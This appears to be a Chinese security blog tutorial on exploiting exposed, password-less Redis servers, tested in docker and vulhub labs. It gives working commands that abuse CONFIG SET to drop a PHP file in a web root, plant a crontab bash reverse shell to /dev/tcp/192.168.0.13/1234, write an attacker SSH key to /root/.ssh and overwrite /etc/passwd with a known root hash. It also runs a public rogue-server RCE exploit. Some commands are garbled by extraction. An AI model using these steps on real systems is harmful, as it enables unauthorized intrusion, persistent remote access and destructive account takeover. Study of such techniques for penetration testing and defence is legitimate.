Redis常见利用方法
Redis简介与学习
Redis常见端口
Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:
- 基于内存运行,性能高效
- 支持分布式,理论上可以无限扩展
- key-value存储系统
- 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API
Redis数据结构
Redis为什么快
- 完全基于内存操作
- C语言实现,优化过的数据结构,性能高
- 单线程,无切换上下文的成本
- 异步非阻塞IO(多路复用IO)
Redis在Linux和Windows下有区别吗
从多路复用IO来看
在Redis中很多地方调用Linux的epoll方法来实现多路复用,而在Windows系统是没有epoll方法的,Windows下对应的是IOCP模型,
从Redis如何进行持久化来看
- RDB 快照,内存数据的二进制序列化文件
- AOF 日志,修改内存数据的指令记录文本
RDB持久化的手动备份命令是bgsave,AOF文件过大的重写命令是bgrewriteaof。
原理都是开辟一个子进程对内存进行处理(注意了是子进程,不是子线程),这就涉及到操作系统的机制了。
Redis通过Linux系统的fork函数创建子进程,共享内存里面的代码段和数据段,从而实现了持久化。
然而Windows系统是没有fork函数的。
环境搭建
Docker
这里使用docker快速启动Redis
启动容器
1 | docker run - itd run - p 6379 : 6379 - d redis
|
手动安装
1 2 3 4 | wget http: / / download.redis.io / releases / redis - 3.2 . 11.tar .gz
tar - zxvf redis - 3.2 . 11.tar .gz
vim redis.conf
make
|
protected-mode的yes修改为No
注释 bind 127.0.0.1
1 | cp . / redis - server / usr / local / bin /
|
采坑
如果遇到这个,就用make编译,首先卸载原来的apt安装的版本
然后make编译就可以了
Redis-cli下载
Windows
1 | https: / / github.com / microsoftarchive / redis / releases
|
Linux
1 2 3 4 5 | wget http: / / download.redis.io / redis - stable.tar.gz
tar - xzvf redis - stable.tar.gz
cd redis - stable
make
cp src / redis - cli / usr / local / bin /
|
MacOs
1 2 | brew tap ringohub / redis - cli
brew install redis - cli
|
Redis常见漏洞与利用方法
1、未授权利用
Redis 默认情况下,会绑定 .0.0.0.0:6379 ,如果没有才有相关的策略,比如添加防火墙规则避免其他非信任来源 限制ip访问等,那么就会将 Redis 服务暴露到公网上。如果没有设置密码认证的话(一般为空),会导致任意用户在可以访问目标服务器的情况下,未授权访问 Redis 以及 读取 Redis 的数据。
1 | 在未授权的情况下,可以利用 Redis 自身提供的 config 命令进行写入shell、写SSH公钥、创建计划任务反弹shell 等。其思路都是先将 Redis 的本地数据库存放目录设置为 特定的目录,然后将 dbfilename \(本地数据库文件名\) 设置为你想写入的文件名称,最后在执行 save 或 bgsave 保存,那么就看在制定的目录下写入指定的文件了。
|
1 2 3 | redis - cli - h ip / / 无需密码登录
redis - cli - h host - p port - a password / / 使用redis密码登入redis服务
info
|
首先先来看一下info中有哪些信息
1、写WebShell
原理
在数据库中插入一条Webshell数据,将此Webshell的代码作为value,key值随意(x),然后通过修改数据库的默认路径为/www/wwwroot/html和默认的缓冲文件shell.php,把缓冲的数据保存在文件里,这样就可以在服务器端的/www/wwwroot/html下生成一个Webshell
条件
1、redis和网站要在同一台服务器下
2、知道网站根目录的绝对路径
2、运行redis服务的用户必须有权限向目录写文件
利用方法
将dir设置为/www/wwwroot/html,将指定本地数据库存放目录设置为/www/wwwroot/html;将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php;再执行save或bgsave,则我们就可以写入一个路径为/www/wwwroot/html/shell.php的Webshell文件
首先我们在服务器的根目录中创建一个/www/root的文件夹并用python启动一个临时的HTTP服务
获取当前路径
设置/www/root为指定目录
写入文件
1 | Set abc "\n\n<?php phpinfo();?>" / / 写入,这里还有一种写法: set abc”\n\n<xxx>”nx,末尾的nx代表仅当键abc不存在的时候,才会创建。这样可以防止误更新到业务在用的键名,引发业务的异常。
|
设置写文件
1 | Config set dbfilename test.php
|
随后尝试访问
这里是肯定不会解析的,因为只是一个HTTP服务,可以看到目录下也有test.php,成功写入
ps: 来自Tatsumaki大佬的博客
2、写Crontab
条件
- 访问目标服务器的redis不需要密码
- redis对/var/spool/cron有写入权限
Ubuntu
1 2 3 4 | Config set dir / var / spool / cron
set abcd "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.13/1234 0>&1\n\n"
Config set filename root
Save
|
在Ubuntu中尝试之后,发现并没有反弹shell回来,不知道为什么,查询了文章看到有大佬说
1 2 3 | 这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:
因为默认redis写文件后是 644 的权限,但ubuntu要求执行定时任务文件 / var / spool / cron / crontabs / <username>权限必须是 600 也就是 - rw——— - 才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件 / var / spool / cron / <username>权限 644 也能执行
|
所以这里更换Centos尝试,搭建步骤与上文一致,发现centos确实在1分钟左右就返回了shell
按照上面CentOs和Ubuntu写文件的说法,可以来看一下写入的文件权限大小
Linux权限对应表
可以看到CentOs中的是644
Ubuntu中也是644,那么如果真如那篇文章所说,必须是600才会执行的话,那么确实Ubuntu无法执行(
3、写SSH公钥
条件
- Redis服务使用root启动
- 服务器开启了SSH,但是允许密钥登录
这里就用Centos7搭建的redis作为环境
首先配置ssh密钥登录
1 2 3 4 5 6 7 8 9 10 | vi / etc / ssh / sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
PermitRootLogin yes
PasswordAuthentication yes
|
然后重启sshd服务
随后尝试连接会提示
随后在Mac上生成密钥
设置.ssh目录
1 | Config set dir / root / .ssh /
|
写入公钥
1 2 3 4 5 6 | (echo - e "\n\n" ; cat / root / .ssh / id_rsa.pub; echo - e "\n\n" ) > / root / .ssh / key.txt
cat / root / .ssh / key.txt | redis - cli - h 192.168 . 0.148 - x set xxx
(echo - e "\n\n" ; cat . / id_rsa.pub; echo - e "\n\n" ) > . / key.txt
cat / root / .ssh / key.txt | redis - cli - h 192.168 . 0.148 - x set xxx
|
随后就可以使用shh直接连接了
4、重置Linux账户密码
原理
若/etc/passwd和/etc/shadow中同时存在密码,系统会使用/etc/passwd中的密码进行验证 /etc/passwd-是/etc/passwd的备份,成功登录系统后,通过替换/etc/passwd-文件,可以恢复root用户的原密码
Linux存账户密码一般会有/etc/passwd和/etc/shadow,如果两个出现冲突的话,会以/etc/passwd为准。
另外,/etc/passwd的权限一般是644,比/etc/shadow的640要高。而且,redis写入是覆盖的,也就是说,写入进去覆盖之后,其他的都没了,这个过程是有创且不可逆的。
这里用到一个大佬的dockerfile: https://github.com/justonly1/DockerRedis
或者docker直接下载也可以
1 2 3 4 | docker pull ju5ton1y / redis:latest
docker run - itd - p 6379 : 6379 - p 6378 : 22 ju5ton1y / redis:latest
/ etc / init.d / ssh restart
|
随后生成一串密码为YourNewPasswd%1024的密文
另外这段代码
1 | python - c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
|
mac下会这样
在kali下就好了
然后写入/etc/passwd
1 | SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"
|
1 2 | config set dbfilename passwd
save
|
然后就可以使用YourNewPasswd%1024这个密码登录了
2、主从备份
这里用vulhub的靶场
1 2 3 | git clone https: / / github.com / vulhub / vulhub.git
cd redis / 4 - unacc /
docker - compose up - d
|
exp用这个https://github.com/n0b0dyCN/redis-rogue-server.git
1 2 3 | git clone https: / / github.com / n0b0dyCN / redis - rogue - server.git
python3 redis - rogue - server.py - - rhost 192.168 . 0.13 - - lhost 192.168 . 0.139
|
这执行的时候会遇到错误
多跑几次就行
参考
[课程]Linux pwn 探索篇!